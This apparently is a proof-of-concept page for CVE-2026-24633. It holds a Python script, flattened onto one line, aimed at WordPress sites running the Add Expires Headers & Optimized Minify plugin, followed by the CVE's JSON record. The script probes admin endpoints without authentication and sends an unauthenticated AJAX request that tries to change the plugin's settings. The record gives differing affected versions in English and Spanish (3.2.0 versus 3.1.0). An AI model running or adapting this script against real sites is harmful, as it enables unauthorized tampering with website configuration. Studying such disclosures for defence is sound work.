CVE-2026-24633

import requests import sys # CVE-2026-24633 PoC - Missing Authorization in Add Expires Headers Plugin # Target: WordPress site with vulnerable Add Expires Headers plugin (<=3.2.0) def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-24633 """ # Try to access plugin settings without authentication # Common plugin endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/options-general.php?page=add-expires-headers', ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check if we can access admin functionality without auth if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint: {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") # Try to modify settings via AJAX (exploitation attempt) ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'add_expires_headers_save', 'expires_headers': 'test', } try: response = requests.post(ajax_url, data=data, timeout=10, verify=False) if response.status_code == 200: print(f"[+] AJAX endpoint accessible - plugin may be vulnerable") print(f"[+] Response: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) > 1: check_vulnerability(sys.argv[1]) else: print('Usage: python cve-2026-24633-poc.py <target_url>') print('Example: python cve-2026-24633-poc.py http://target.com')

{"cve": {"id": "CVE-2026-24633", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:22.970", "lastModified": "2026-04-28T15:16:21.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Passionate Brains Add Expires Headers & Optimized Minify add-expires-headers allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Add Expires Headers & Optimized Minify: from n/a through <= 3.2.0."}, {"lang": "es", "value": "Vulnerabilidad por autorización faltante en Passionate Brains Add Expires Headers &amp; Optimized Minify add-expires-headers permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Add Expires Headers &amp; Optimized Minify: desde n/a hasta &lt;= 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/add-expires-headers/vulnerability/wordpress-add-expires-headers-optimized-minify-plugin-3-1-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}